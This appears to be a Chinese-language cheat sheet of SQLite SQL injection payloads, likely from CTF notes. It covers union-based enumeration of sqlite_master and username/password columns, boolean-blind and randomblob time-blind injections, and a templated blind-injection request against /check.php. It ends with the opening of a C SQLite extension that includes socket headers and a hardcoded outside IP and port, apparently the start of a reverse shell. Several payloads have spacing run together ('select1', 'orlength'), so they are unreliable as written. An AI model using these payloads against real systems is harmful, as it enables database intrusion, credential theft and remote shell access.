#查询字段数 -1' union select 1,2,3; 1' order by 3; #查版本 0' union select 1,2,sqlite_version(); #查询表名和列名 通过查询 sqlite_master 表来实现: -1' union select1,2,(select sql from sqlite_master limit 0,1),4; #当存在多个表时,我们可以用 limit 关键字逐行读取,也可以使用 group_concat 关键字进行聚合: -1' union select 1,2,(select group_concat(sql) from sqlite_master),4; 0' union select1,2,tbl_name FROM sqlite_master limit 2 offset 1 -- #查询数据 -1' union select 1,2,(select group_concat(username,password) from table_name),4;
布尔盲注 #根据查询正确或错误时的页面回显来判断数据内容: -1'orlength(sqlite_version())=5/* -1' or length(sqlite_version())=6/*
-1'orsubstr((select group_concat(sql) from sqlite_master),1,1)>'a'/* -1' or substr((select group_concat(sql) from sqlite_master),1,1)<'a'/* -1'orsubstr((select group_concat(sql) from sqlite_master),2,1)>'b'/* -1' or substr((select group_concat(sql) from sqlite_master),2,1)<'b'/* -1'orsubstr((select group_concat(sql) from sqlite_master),3,1)>'C'/* -1' or substr((select group_concat(sql) from sqlite_master),3,1)<'C'/* ......
时间盲注 #QLite 没有 sleep() 函数,但是有个 randomblob(N) 函数,其作用是返回一个 N 字节长的包含伪随机字节的 BLOG。 N 是正整数。可以用它来制造延时。 并且 SQLite 没有 if,所以我们需要使用 case...when 来构造查询语句: -1'or (case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else0 end)/*
布尔盲注
盲注语句:
布尔盲注表名
1
/check.php?name=1'or substr((select group_concat(name) from sqlite_master),1-100,1)='ascii可打印字符'--
注建表语句
1 2
1'orsubstr((select sql from sqlite_master where name='users'),{{int(0-200)}},1)='ascii可打印字符'--
/* Add your header comment here */ #include<sqlite3ext.h>/* Do not use <sqlite3.h>! */ #include<stdio.h> #include<unistd.h> #include<sys/types.h> #include<sys/socket.h> #include<arpa/inet.h> #include<signal.h> #include<dirent.h> #include<sys/stat.h> SQLITE_EXTENSION_INIT1
/* Insert your extension code here */ int tcp_port = 2333; char *ip = "47.101.57.72";